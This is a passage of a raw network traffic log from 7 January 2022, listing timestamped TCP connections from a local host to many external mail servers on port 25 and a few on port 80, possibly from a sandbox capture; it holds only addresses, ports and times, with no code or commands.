Jan 7, 2022 15:54:02.458939075 CET	49758	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:02.500755072 CET	25	49758	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:02.500886917 CET	49758	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:02.543016911 CET	25	49758	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:02.543035984 CET	25	49758	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:02.543135881 CET	49758	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:02.584955931 CET	25	49758	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:02.584973097 CET	25	49758	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:02.585124969 CET	49758	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:02.626761913 CET	25	49758	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:02.626852989 CET	25	49758	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:02.626956940 CET	49758	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:02.626992941 CET	49758	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:02.662617922 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.668725967 CET	25	49758	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:02.668745041 CET	25	49758	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:02.668867111 CET	49758	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:02.668905973 CET	49758	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:02.689215899 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.689304113 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.690618038 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.715943098 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.716023922 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.716809034 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.717130899 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.717207909 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.742677927 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.742798090 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.743377924 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.743436098 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.743647099 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.743675947 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.743680954 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.743699074 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.743721008 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.743741035 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.746334076 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.769457102 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.769484997 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.769606113 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.769654989 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.769902945 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.769937992 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.769957066 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.770204067 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.770220041 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.770231962 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.770243883 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.772984982 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.796200037 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.796231031 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.796243906 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.796391010 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.796403885 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.796473980 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.796514988 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.796572924 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.823043108 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.823065042 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.823077917 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.823087931 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.823137999 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.823163033 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.823174953 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.823174953 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.823187113 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.823199034 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.823199034 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.823211908 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.823247910 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.823251963 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.823262930 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.823280096 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.823288918 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.823295116 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.823318005 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.823342085 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.823375940 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.823405981 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.823455095 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.824295044 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.849714041 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.849736929 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.849747896 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.849785089 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.849797010 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.849807978 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.849843979 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.849883080 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.849914074 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.849930048 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.849944115 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.849945068 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.849955082 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.849962950 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.849967957 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.849977016 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.849981070 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.849992037 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.849996090 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.850007057 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.850060940 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850074053 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850085020 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850117922 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850133896 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850146055 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850156069 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850167990 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850179911 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850210905 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850225925 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850238085 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850250006 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850260973 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850271940 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850284100 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850296021 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850307941 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850317955 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850404024 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850455999 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850469112 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850481033 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850493908 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850503922 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850516081 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850764036 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850778103 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850830078 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850858927 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850871086 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850912094 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.850924969 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.876354933 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.876372099 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.876488924 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.876502037 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.876528025 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.876539946 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.876602888 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.876724005 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.876808882 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.876821041 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.876831055 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.876842976 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.876888990 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.876921892 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.877018929 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.877047062 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:02.903525114 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.908529043 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.984833002 CET	25	49756	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:02.984930038 CET	49756	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:03.240823984 CET	49742	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:03.709706068 CET	49746	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:04.043380022 CET	49759	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:04.063977003 CET	25	49759	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:04.064064026 CET	49759	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:04.129873037 CET	25	49759	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:04.130033970 CET	49759	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:04.151262999 CET	25	49759	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:04.151284933 CET	25	49759	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:04.151407957 CET	49759	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:04.171983957 CET	25	49759	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:04.172102928 CET	49759	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:04.172152996 CET	49759	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:04.192729950 CET	25	49759	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:04.192836046 CET	49759	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:04.193099976 CET	25	49759	195.3.96.71	192.168.2.3
Jan 7, 2022 15:54:04.193269014 CET	49759	25	192.168.2.3	195.3.96.71
Jan 7, 2022 15:54:05.677714109 CET	49762	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:05.718327045 CET	25	49762	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:05.718456030 CET	49762	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:06.024293900 CET	49763	25	192.168.2.3	67.195.204.74
Jan 7, 2022 15:54:06.137893915 CET	25	49763	67.195.204.74	192.168.2.3
Jan 7, 2022 15:54:06.139805079 CET	49763	25	192.168.2.3	67.195.204.74
Jan 7, 2022 15:54:06.358391047 CET	25	49763	67.195.204.74	192.168.2.3
Jan 7, 2022 15:54:06.358656883 CET	49763	25	192.168.2.3	67.195.204.74
Jan 7, 2022 15:54:06.472173929 CET	25	49763	67.195.204.74	192.168.2.3
Jan 7, 2022 15:54:06.472207069 CET	25	49763	67.195.204.74	192.168.2.3
Jan 7, 2022 15:54:06.472352982 CET	49763	25	192.168.2.3	67.195.204.74
Jan 7, 2022 15:54:06.586539030 CET	25	49763	67.195.204.74	192.168.2.3
Jan 7, 2022 15:54:06.586581945 CET	25	49763	67.195.204.74	192.168.2.3
Jan 7, 2022 15:54:06.586719990 CET	49763	25	192.168.2.3	67.195.204.74
Jan 7, 2022 15:54:06.586766005 CET	49763	25	192.168.2.3	67.195.204.74
Jan 7, 2022 15:54:06.586779118 CET	49763	25	192.168.2.3	67.195.204.74
Jan 7, 2022 15:54:06.587096930 CET	49764	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:06.700134039 CET	25	49764	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:06.700172901 CET	25	49763	67.195.204.74	192.168.2.3
Jan 7, 2022 15:54:06.700185061 CET	25	49763	67.195.204.74	192.168.2.3
Jan 7, 2022 15:54:06.700301886 CET	49764	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:06.753979921 CET	49765	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:06.773487091 CET	25	49754	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:06.773683071 CET	49754	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:06.832309008 CET	25	49754	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:06.832472086 CET	49754	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:06.849610090 CET	25	49764	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:06.849760056 CET	49764	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:06.884989977 CET	25	49765	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:06.885157108 CET	49765	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:06.890943050 CET	25	49754	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:06.891104937 CET	49754	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:06.961977959 CET	25	49764	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:06.962006092 CET	25	49764	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:06.962155104 CET	49764	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:06.975634098 CET	25	49754	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:06.975788116 CET	49754	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:06.975820065 CET	49754	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:06.976202011 CET	49766	25	192.168.2.3	193.239.71.112
Jan 7, 2022 15:54:07.017910957 CET	25	49765	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:07.018057108 CET	49765	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:07.034214973 CET	25	49754	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:07.034281969 CET	49754	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:07.034495115 CET	25	49754	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:07.034542084 CET	49754	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:07.075103998 CET	25	49764	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:07.075129986 CET	25	49764	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:07.075195074 CET	49764	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:07.075233936 CET	49764	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:07.075253010 CET	49764	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:07.075675011 CET	49767	25	192.168.2.3	67.195.228.94
Jan 7, 2022 15:54:07.149532080 CET	25	49765	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:07.149569035 CET	25	49765	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:07.149692059 CET	49765	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:07.187360048 CET	25	49764	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:07.187390089 CET	25	49764	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:07.239264965 CET	25	49767	67.195.228.94	192.168.2.3
Jan 7, 2022 15:54:07.239973068 CET	49767	25	192.168.2.3	67.195.228.94
Jan 7, 2022 15:54:07.281752110 CET	25	49765	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:07.281781912 CET	25	49765	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:07.281893015 CET	49765	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:07.281918049 CET	49765	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:07.283201933 CET	25	49765	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:07.283292055 CET	49765	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:07.412877083 CET	25	49765	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:07.412899971 CET	25	49765	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:07.412910938 CET	25	49765	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:07.456875086 CET	25	49767	67.195.228.94	192.168.2.3
Jan 7, 2022 15:54:07.457082987 CET	49767	25	192.168.2.3	67.195.228.94
Jan 7, 2022 15:54:07.564716101 CET	49768	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:07.618942976 CET	25	49767	67.195.228.94	192.168.2.3
Jan 7, 2022 15:54:07.618969917 CET	25	49767	67.195.228.94	192.168.2.3
Jan 7, 2022 15:54:07.619256020 CET	49767	25	192.168.2.3	67.195.228.94
Jan 7, 2022 15:54:07.625293970 CET	25	49768	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:07.625435114 CET	49768	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:07.781495094 CET	25	49767	67.195.228.94	192.168.2.3
Jan 7, 2022 15:54:07.781516075 CET	25	49767	67.195.228.94	192.168.2.3
Jan 7, 2022 15:54:07.781673908 CET	49767	25	192.168.2.3	67.195.228.94
Jan 7, 2022 15:54:07.781702042 CET	49767	25	192.168.2.3	67.195.228.94
Jan 7, 2022 15:54:07.781706095 CET	49767	25	192.168.2.3	67.195.228.94
Jan 7, 2022 15:54:07.794761896 CET	25	49762	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:07.798206091 CET	49762	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:07.838891983 CET	25	49762	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:07.840399981 CET	25	49762	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:07.840537071 CET	49762	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:07.882064104 CET	25	49762	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:07.897972107 CET	25	49768	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:07.898083925 CET	49768	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:07.930397987 CET	25	49762	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:07.930535078 CET	49762	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:07.944885015 CET	25	49767	67.195.228.94	192.168.2.3
Jan 7, 2022 15:54:07.958532095 CET	25	49768	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:07.958550930 CET	25	49768	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:07.959315062 CET	49768	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:07.971213102 CET	25	49762	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:07.978077888 CET	25	49762	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:07.978193998 CET	49762	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:07.978213072 CET	49762	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:07.978527069 CET	49769	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:08.018879890 CET	25	49762	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:08.019135952 CET	25	49769	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:08.019256115 CET	49769	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:08.019372940 CET	25	49762	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:08.019403934 CET	25	49762	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:08.019416094 CET	25	49762	91.136.8.41	192.168.2.3
Jan 7, 2022 15:54:08.019483089 CET	49762	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:08.019503117 CET	49762	25	192.168.2.3	91.136.8.41
Jan 7, 2022 15:54:08.020787001 CET	25	49768	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:08.020898104 CET	49768	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:08.095380068 CET	25	49768	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:08.095518112 CET	49768	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:08.095586061 CET	49768	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:08.128870010 CET	49770	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:08.156143904 CET	25	49768	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:08.156193972 CET	25	49768	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:08.156241894 CET	49768	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:08.156281948 CET	49768	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:08.192023039 CET	25	49770	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:08.192167997 CET	49770	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:08.465821028 CET	25	49770	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:08.465984106 CET	49770	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:08.525690079 CET	25	49770	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:08.525713921 CET	25	49770	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:08.529774904 CET	49770	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:08.592971087 CET	25	49770	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:08.593153000 CET	49770	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:08.663690090 CET	25	49770	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:08.667481899 CET	49770	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:08.667541981 CET	49770	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:08.727319002 CET	25	49770	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:08.727343082 CET	25	49770	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:08.727417946 CET	49770	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:08.727448940 CET	49770	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:09.442823887 CET	49771	25	192.168.2.3	74.208.5.20
Jan 7, 2022 15:54:09.580025911 CET	25	49771	74.208.5.20	192.168.2.3
Jan 7, 2022 15:54:09.580179930 CET	49771	25	192.168.2.3	74.208.5.20
Jan 7, 2022 15:54:09.718719959 CET	25	49771	74.208.5.20	192.168.2.3
Jan 7, 2022 15:54:09.718750954 CET	25	49771	74.208.5.20	192.168.2.3
Jan 7, 2022 15:54:09.718847036 CET	49771	25	192.168.2.3	74.208.5.20
Jan 7, 2022 15:54:09.719127893 CET	49771	25	192.168.2.3	74.208.5.20
Jan 7, 2022 15:54:09.719134092 CET	49772	25	192.168.2.3	74.208.5.22
Jan 7, 2022 15:54:09.852387905 CET	25	49772	74.208.5.22	192.168.2.3
Jan 7, 2022 15:54:09.852555037 CET	49772	25	192.168.2.3	74.208.5.22
Jan 7, 2022 15:54:09.856097937 CET	25	49771	74.208.5.20	192.168.2.3
Jan 7, 2022 15:54:09.975709915 CET	49766	25	192.168.2.3	193.239.71.112
Jan 7, 2022 15:54:09.987288952 CET	25	49772	74.208.5.22	192.168.2.3
Jan 7, 2022 15:54:09.987318993 CET	25	49772	74.208.5.22	192.168.2.3
Jan 7, 2022 15:54:09.987432957 CET	49772	25	192.168.2.3	74.208.5.22
Jan 7, 2022 15:54:09.987468958 CET	49772	25	192.168.2.3	74.208.5.22
Jan 7, 2022 15:54:10.076370001 CET	25	49769	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:10.076539040 CET	49769	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:10.117111921 CET	25	49769	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:10.117994070 CET	25	49769	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:10.118118048 CET	49769	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:10.121287107 CET	25	49772	74.208.5.22	192.168.2.3
Jan 7, 2022 15:54:10.158679962 CET	25	49769	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:10.291052103 CET	49773	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:10.346127987 CET	25	49769	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:10.346260071 CET	49769	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:10.386683941 CET	25	49769	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:10.400738955 CET	25	49769	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:10.400916100 CET	49769	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:10.401283979 CET	49769	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:10.401297092 CET	49774	25	192.168.2.3	91.136.8.47
Jan 7, 2022 15:54:10.441885948 CET	25	49769	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:10.441910028 CET	25	49769	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:10.442152023 CET	25	49769	91.136.8.46	192.168.2.3
Jan 7, 2022 15:54:10.442231894 CET	49769	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:10.442544937 CET	25	49769	91.136.8.46	192.168.2.3
